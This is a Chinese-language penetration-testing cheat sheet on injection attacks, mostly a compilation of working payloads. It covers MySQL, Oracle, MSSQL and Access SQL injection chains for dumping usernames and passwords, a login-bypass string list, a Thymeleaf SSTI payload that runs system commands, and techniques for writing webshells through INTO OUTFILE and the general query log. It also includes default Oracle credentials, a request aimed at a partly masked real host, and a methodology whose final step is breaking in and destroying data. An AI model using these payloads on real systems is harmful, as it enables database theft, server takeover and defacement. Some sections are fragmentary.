渗透测试-注入攻击专题

渗透测试- 注入

  • Neo4j
  • ACCESS
  • ORM注入
  • SSTI 服务器端模板注入(Server-Side Template Injection)
  • 万能密码
  • 漏洞介绍
  • 测试方法
  • sql手工注入
  • @apache+php+Mysql 正则注入
    • 0x01 Mysql 手工注入
  • 1.3 盲注
    • 1.3.1 时间盲注
  • 1.3.2 布尔盲注
    • 1.4.1 报错
    • 1.4.2 盲注
    • 1.5 二次注入与宽字节注入
  • 宽字节注入:
      • 0x00000000000000 - 杂技
  • @Oracle
      • 0x01 联合注入
      • 0x02 报错注入
      • 0x03 盲注
    • 布尔盲注
    • 时间盲注
  • @SQL server
      • 0x01 联合注入
      • 0x02 报错注入
      • 0x03 盲注
    • mysql4.0注入实战
      • 渗透测试基础-sql注入
    • 概念
  • 本质
      • 参数带入 加入语句被执行
    • 手动注入基本知识
    • 实战演练
    • 防注入技术的突破
          • PS:
        • 通用点的过滤方法
      • mssql的多语句问题
      • 宽字节注⼊
          • 注⼊产⽣的原理
        • 正常情况下当GPC开启 或 使⽤addslashes函数 过滤GET或POST提交的参数时
    • ⿊客使⽤的 单引号 ' 就会 被转义为: \';
      • GBK编码导致宽字节注⼊
      • GBK转UTF-8
      • UTF-8转GBK
        • 代码审计——sql注入漏洞常规挖掘分析/实战
    • - 挖掘方法
      • PHP mysql_real_escape_string() 函数
      • PHP addslashes() 函数
    • PHP htmlentities() 函数
    • PHP htmlspecialchars() 函数
    • PHP strip_tags() 函数
    • PHP md5() 函数
    • PHP sha1() 函数
    • 在这里插入图片描述 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20191119210732368.png)
    • PHP intval() 函数
    • # 适用人群
      • # 数据库监控
    • #实战挖掘#
      • # 总结
  • 网络安全高手的进阶蜕变之旅
    • 1.1 Web应用架构分析
    • 1.2 SQLi注入环境搭建
    • 1.3 SQL注入原理分析
            • # %23 注释符号
    • MySQL注入方法逻辑运算及常用函数
            • ~ 0x7e
    • SQL注入流程
    • * 用在 漏洞 sql注入 特别了解
    • SQL手工注入方法
    • 漏洞介绍:
  • 第二章:SQL注入语法类型
    • 2.1 union联合查询注入
    • 2.2 报错注入
    • 实验地址:实验测试——SQLmap工具的使用-POST注入
    • 实验地址:实验测试——SQLmap工具的使用-cookie注入
    • 检测二
    • 实验地址:实验测试——SQLmap工具的使用-执行SQL命令
  • 第三章:SQL 盲注
    • 布尔盲注
    • 3.2 SQL盲注-时间注入
    • 3.3 Dnslog盲注
  • 第四章:SQL注入防御绕过
    • 4.1 宽字节注入
    • 4.2 二次编码注入
    • 4.3 二次注入
        • 二次注入防御:外部提交的数据 进行谨慎对待 (不仅仅是 特殊字符转义)
    • 4.4 WAF绕过原理分析
    • 4.5 SQLmap绕过WAF脚本编写
      • 应对waf时 定制化 payload 继续注入
        • sqlmap 介绍
            • 执行系统命令 -os-shell
        • Tamper脚本介绍
        • 编写Tamper
  • 第五章:MsSQL数据库注入
    • 5.1 MsSQL数据库环境搭建
    • TSQL 数据操作语言
  • sql注入备忘录
    • 5.2 MsSQL数据库注入
    • 5.3 MsSQL数据库注入
    • 第六章:Oracle数据库注入
      • 6.1 Oracle数据库环境搭建
      • 6.2 Oracle数据库注入
    • oracle 注入测试方法
    • 报错注入 盲注
    • 6.3 Oracle数据库注入

Neo4j

是一个高性能的,NOSQL图形数据库,
它将结构化数据存储在网络上而不是表中。
它是一个嵌入式的、基于磁盘的、具备完全的事务特性的Java持久化引擎,
但是它将结构化数据存储在网络(从数学角度叫做图)上而不是表中。

neo4j.bat console

ACCESS


payload 
?id=1+and+select   探测waf


?id=abcd
access数据库不支持报错注入(不报错),也不能利用注释-是否报错来进行一个盲注


语句结构
?id=1+and+exists(


select后面不能直接跟任何占位空字符(%0d,%0a,%0c,%20,' ')    -ACCESS  遇到后端加正则
select(xxx)可以绕过这个逻辑
?id=1+and+exists(查询数据的语句)
通过盲注暴力猜解数据
?id=1+and+exists(sElect(1)+from+admin)
错误信息回显

ORM注入

SSTI 服务器端模板注入(Server-Side Template Injection)




 
比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式

跟Spring boot的版本有关,其默认自带的Thymeleaf版本有关。

spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5
spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9
spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11 

Thymeleaf模板注入

https://zhuanlan.zhihu.com/p/248416919

 payload 必须包裹在 __...__ 之中,且后面加上 :: ,及 .string 。
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

5、防御

1.1. 方法上配置 @ResponseBody 或者 @RestController

这样 spring 框架就不会将其解析为视图名,而是直接返回。不配置的话 SpringMVC 会将业务方法的返回值传递给 DispatcherServlet ,再由DispatcherServlet 调用 ViewResolver 对返回值进行解析,映射到一个 view 资源。
@RestController 表示该控制器会直接将业务方法的返回值响应给客户端,不进行视图解析。它内部继承了 @ResponseBody 。
1.2. 在返回值前面加上 "redirect:"

这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。
1.3. 在方法参数中加上 HttpServletResponse 参数

这样 spring 会认为已经处理了 response ,无须再去进行视图名的解析。在 ServletResponseMethodArgumentResolver 类中检查了此参数。

万能密码

  

' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1



asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便



PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1
 
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*

POST /WebService/InterfaceForJN/search_realdata.asmx HTTP/1.1
Host: 60.x.x.x:8001
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://tempuri.org/GetRealData"
Content-Length: 508
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
      <tem:GetRealData>
         <!--Optional:--><tem:cityname>1*</tem:cityname>
         <!--Optional:-->
         <tem:subname>1</tem:subname>
         <!--Optional:-->
         <tem:subid>1</tem:subid>
         <!--Optional:-->
         <tem:wastetype>1</tem:wastetype>
      </tem:GetRealData>
   </soapenv:Body>
</soapenv:Envelope>





https://www.bilibili.com/read/cv6562645/
【sql injection】

https://mp.weixin.qq.com/s/8grPMYzNbwhgRRDcE57U7Q


order by
/**/
boolen等式  能够被带入查询语句并显示不同效果
当条件不符合时,71-false=71,显示71.html,无数据

http://EDU_SITE/.../..._id/71-false.html

=> SELECT ..FROM .. WHERE ... AND _id=71-false


获取用户名长度
http://EDU_SITE/.../..._id/71-(length(user())=12).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)

获取数据库长度
http://EDU_SITE/.../..._id/71-(length(database())=6).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)

burpsuite的clusterboom模式对database进行爆破


【SQL注入 getshell】

写文件--into outfile

前提:
网站的绝对路径
没有对引号进行过滤
文件必须有写的权限




union select getshell
payload:1' union select 1,'',3 into outfile 'd:/phpstudy_pro/www/1.php'--+




lines terminated by 

        lines terminated by 该语句是设置每行数据结尾的字符,可以设置为单个或多个字符,默认为“/n”;
        
payload: ?id=1' into outfile 'd:/phpstudy_pro/www/2.php'lines terminated by''--+3.





lines starting getshell
lines starting getshell该语句为设置每行开头的字符

payload:?id=1' into outfile 'd:/phpstudy_pro/www/3.php'lines starting by''--+ 





fields terminated getshell
fields terminated by 设置字段之间的分隔符,默认值是"\t"

payload:?id=1')) into outfile'd:/phpstudy_pro/www/4.php' fields terminated by ''--+ 






COLUMNS terminated getshell
COLUMNS terminated by 设置字段之间的分隔符,默认值是"\t"

payload:?id=1')) into outfile'd:/phpstudy_pro/www/6.php' COLUMNS terminated by''--+ 


getshell-数据表getshell
前提:需要将shell内容插入数据表中,在将表内容写成可执行文件,所以要想利用它getshell,一般数据库有堆叠注入或phpmyadmin或有一个数据库的基本权限才能getshell。

payload:id=1';insert into users(username,password) values(','$_POST[2]")?>')--+ 





getshell-日志getshell
7.1 开启全局日志配置

payload:?id=1';set global general_log = on;--+

7.2设置日志路径(webshell路径)

id=1';set global general_log_file = 'd:/phpStudy_pro/WWW/8.php';--+

7.3写入木马病毒

id=1';select '';--+

payload: 


 【waf  绕过】

漏洞介绍

Sql Inject(SQL注入)概述 哦,SQL注入漏洞,可怕的漏洞。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞, 其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,
导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

测试方法

第一步:SQL注入点探测。
探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。
通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。
如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。
一般通过页面的报错信息来确定是否存在SQL注入漏洞。

第二步:收集后台数据库信息。
不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。
判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;
还可以使用特定函数来判断,
比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,
而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。

第三步:猜解用户名和密码。
数据库中的表和字段命名一般都是有规律的。
通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。

第四步:查找Web后台管理入口。
WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。

第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

sql手工注入

@apache+php+Mysql 正则注入

0x01 Mysql 手工注入

1.1 联合注入

 
?id=1' order by 4--+

?id=0' union select 1,2,3,database()--+

?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+

1.2 报错注入




爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)


爆表名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#





1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
每个一个报错语句都有它的原理:

exp() 报错的原理:
	exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,
	然后 ~ 取反它的值总会大于709,	
	所以报错。

updatexml() 报错的原理:
	由于 updatexml 的第二个参数需要 Xpath 格式的字符串,
	以 ~ 开头的内容不是 xml 格式的语法,	
	concat() 函数为字符串连接函数显然不符合规则,
	但是会将括号内的执行结果以错误的形式报出,
	这样就可以实现报错注入了。
 
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +

爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +

爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +

爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

这里需要注意的是它加了连接字符,
导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:

substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度

?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +

1.3 盲注

1.3.1 时间盲注

时间盲注也叫延时注入
一般用到函数 sleep() BENCHMARK()
还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)

一般时间盲注我们还需要使用条件判断函数

 
#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3

#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left

我们一般喜欢把分割的函数编码一下,
当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等

 
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

1.3.2 布尔盲注

 
?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

1.4 insert,delete,update

insert,delete,update 主要是用到盲注和报错注入,
此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,
一般这种注入会出现在
注册、ip头、留言板等等需要写入数据的地方,
同时这种注入不报错一般较难发现,

我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,
然后如果插入失败,更新失败,
然后深入测试确定是否存在注入

1.4.1 报错

 
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    1 | and 1=1                                       | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)

mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

1.4.2 盲注

 #int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)

mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)

#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)

# delete 函数 or 右边一定要为 false
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)

#update 更新数据内容
mysql> select * from admin;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | admin    | admin    |
+------+----------+----------+
4 rows in set (0.00 sec)

mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4  Changed: 4  Warnings: 0

1.5 二次注入与宽字节注入

二次注入的语句:
在没有被单引号包裹的sql语句下,
我们可以用16进制编码他,这样就不会带有单引号等。

 
mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+----+-----------+-------+
| id | name      | pass  |
+----+-----------+-------+
|  1 | admin     | admin |
|  2 | admin'111 | 11111 |
|  3 | admin'--+ | 11    |
+----+-----------+-------+
4 rows in set (0.00 sec)

二次注入在没有源码的情况比较难发现,
通常见于注册,登录恶意账户后,
数据库可能会因为恶意账户名的问题,将 admin’–+ 误认为 admin 账户

宽字节注入:

针对目标做了一定的防护,
单引号转变为 \' , mysql 会将 \ 编码为 %5c ,

宽字节中两个字节代表一个汉字,
所以 把 %df 加上 %5c 就变成了一个汉字“運”,
使用这种方法成功绕过转义,就是所谓的宽字节注入

 id=-1%df' union select...

#没使用宽字节
%27 -> %5C%27

#使用宽字节
%df%27 -> %df%5c%27 -> 運'

0x00000000000000 - 杂技

MySQL注入思路:
1.判断注入点是否有读写权限
有 读取配置文件、用户名密码等;
magic_quotes_gpc为off ,直接导出一句话webshell。
//magic_quotes_gpc为on的时候,‘会被转成’,而写导出的绝对路径的时候又必须是用’括起

没有

判断MySQL版本,5.0以上
通过爆 获得用户名密码;
5.0以下或者5.0以上不能爆(比如限制了information_schema数据库)
盲注获得用户名密码。

//盲注: 通过返回页面的正确与否判断查询语句是否正确, 类似 Access数据库的注入

一个参数可能执行了多个查询语句
导致查不出字段数、没有数字回显
服务器开启了MySQL错误回显的话, 通过报错注入从报错信息中获取信息

MySQL数据库5.X版本的爆表爆列爆内容。
步骤一:判断注入点
单引号、and 1=1、and 1=2。

步骤二:order by和union select
通过order by查出字段数目N,然后联合查询。
and1=2 union select 1,2,3,4…,N–
//首先and 1=2报错,用单引号或在参数前加个"-“也行
// 和Access不同,后面可以不加"from 表名”;
最后面的"–“是注释符,注释掉后面的语句,防止出错,换成”/*"也行,也可以不加
//Access不支持注释符,MySQL和MSSQL支持

步骤三:查出基本信息
得到数字回显后,将对应数字位换成我们想查询的信息,比如显示位是3
and1=2 union select 1,2,version(),4…,N–

//介绍几个常用函数:

  1. version()——MySQL版本
  2. user()——用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作 系统 版本

我们可以通过将对应函数放到显示位中查出相应信息

查找信息函数:

  1. concat(str1,str2,…)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  3. group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据

比如:concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
concat_ws(0x3a,version(),user(),database(),@@datadir,@@verion_compile_os)
group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
//0x3a是":"的十六进制,作为分隔符 //防止连成一片
//在实际查的时候, 去掉 出错函数
比如@@verion_compile_os这个函数就经常出错

// MySQL官方手册http://dev. mysql .com/doc/

步骤四:爆表 爆列 爆用户名/密码

第一种:查表查列

  1. and 1=2 union select 1,2,table_name,4 from (select * from information_schema.tables where table_schema=库名十六进制 limit N,1)t limit 1–

  2. and 1=2 union select 1,2,column_name,4 from (select * from information_schema.columns where table_name=表名十六进制 and table_schema=库名十六进制 limit N,1)t limit 1–

  3. and 1=2 union select 1,2,列名,4 from 表名

//改变N的值,查出一个个表名、列名

第二种:高级查表查列

  1. and 1=2 union select 1,2,schema_name,4 from information_schema.schemata limit N,1
  2. and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema=要查的库名的十六进制 limit N,1
  3. and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_name=要查的表名的十六进制 limit N,1

//技巧:查的库名的十六进制那个地方填database(),就是table_schema=database(),直接就表示当前数据库
//找敏感的表,含有admin、manage或user之类的

第三种:爆表爆列

  1. and 1=2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
  2. and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=要爆的库名的十六进制
  3. and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=要爆的表名的十六进制
  4. and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名

//distinct表示不同,去掉爆出内容的重复部分,//可有可无
//在通过用group_concat()这个函数直接爆出所有库名、表名、列名、字段内容,可以提高速度,方便查找

第四种:高级爆表爆列

  1. and 1=2 union select 1,2,group_concat(distinct table_schema),4 from information_schema.columns
  2. and 1=2 union select 1,2,group_concat(distinct table_name),4 from information_schema.columns where table_schema=要爆的库名的十六进制
  3. and 1=2 union select 1,2,group_concat(distinct column_name),4 from information_schema.columns where table_name=要爆的表名的十六进制
  4. and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名

// (http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html)
//数据从information_schema.columns表里获取
information_schema.columns这个表里,
table_schema、table_name、column_name列
直接通过这个表,查出我们需要的所有信息,就省了换表这一步了,进一步提升速度

到这一步,我们的注入就算完成了,找后台解密登陆就是了。

  1. 当union select 1,2,3,4没有出现数字位时,
    把数字都换成null
    逐个尝试替换成数字或字符或直接换成version(),
    找到可以显示出来的那一位。貌似是因为对应变量类型不同的原因,

  2. 有些时候莫名其妙的就出错的时候(比如有数字显示位,而用替换函数(比如version())去替换时却返回空白页或报错)
    爆不出来的时候
    通过hex()或convert()等函数来
    解决可能的编码问题,比如hex(version())、unhex(hex(version()))、convert(version() using latin1)等等

  3. 把空格换成"+“或者”/**/"
    空格会被自动转成"%20",看着很乱,而且换过以后貌似能过一些过滤。

  4. 网站有过滤的时候,大小写变换绕过。
    /!select/,把容易被过滤的东西放到/!XXX/中
    一样可以正常查询,也就是/!select/=select。如果你还不放心那就这样/!sEleCt/

@Oracle

 用户名 / 密码 /登录身份/ 说明
sys/change_on_install	SYSDBA 或 SYSOPER	不能以 NORMAL 登录,可作为默认的系统管理员
system/manager	SYSDBA 或 NORMAL	不能以 SYSOPER 登录,可作为默认的系统管理员
sysman/oem_temp	 	 sysman 为 oms 的用户名
scott/tiger	NORMAL	普通用户
aqadm /aqadm	SYSDBA 或 NORMAL	高级队列管理员
Dbsnmp/dbsnmp	SYSDBA 或 NORMAL	复制管理员sysman 为 oms 的用户名
scott/tiger	NORMAL	普通用户
aqadm /aqadm	SYSDBA 或 NORMAL	高级队列管理员
Dbsnmp/dbsnmp	SYSDBA 或 NORMAL	复制管理员 

0x01 联合注入

 ?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

0x02 报错注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

0x03 盲注

布尔盲注

既然是盲注,那么肯定涉及到条件判断语句,
Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:
decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值);

该函数的含义如下:


IF 条件=1 THEN
    RETURN(返回值1)
ELSIF 条件=2 THEN
    RETURN(返回值2)
    ......
ELSIF 条件=值n THEN
    RETURN(返回值n)
ELSE
    RETURN(缺省值)
END IF
 ?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64--  #二分法

时间盲注

可使用DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间)函数进行时间盲注,
这个函数可以指定延迟的时间

 
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

@SQL server





0x01 联合注入

?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--

0x02 报错注入

?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--

0x03 盲注

 1 布尔盲注
?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--
2 时间盲注
?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) wai

mysql4.0注入实战

 SELECT user() 
 select database() 
 select version()
 
SELECT * FROM information_schema.SCHEMATA

 select table_name from information_schema.tables where table_schema='db_name' 
 // 当前数据库 db_name  所有表  


 




渗透测试-注入攻击专题_第1张图片渗透测试-注入攻击专题_第2张图片

渗透测试-注入攻击专题_第3张图片渗透测试-注入攻击专题_第4张图片

渗透测试-注入攻击专题_第5张图片
渗透测试-注入攻击专题_第6张图片
渗透测试-注入攻击专题_第7张图片
渗透测试-注入攻击专题_第8张图片
渗透测试-注入攻击专题_第9张图片
渗透测试-注入攻击专题_第10张图片
渗透测试-注入攻击专题_第11张图片
渗透测试-注入攻击专题_第12张图片
渗透测试-注入攻击专题_第13张图片
渗透测试-注入攻击专题_第14张图片
渗透测试-注入攻击专题_第15张图片
渗透测试-注入攻击专题_第16张图片
渗透测试-注入攻击专题_第17张图片
渗透测试-注入攻击专题_第18张图片
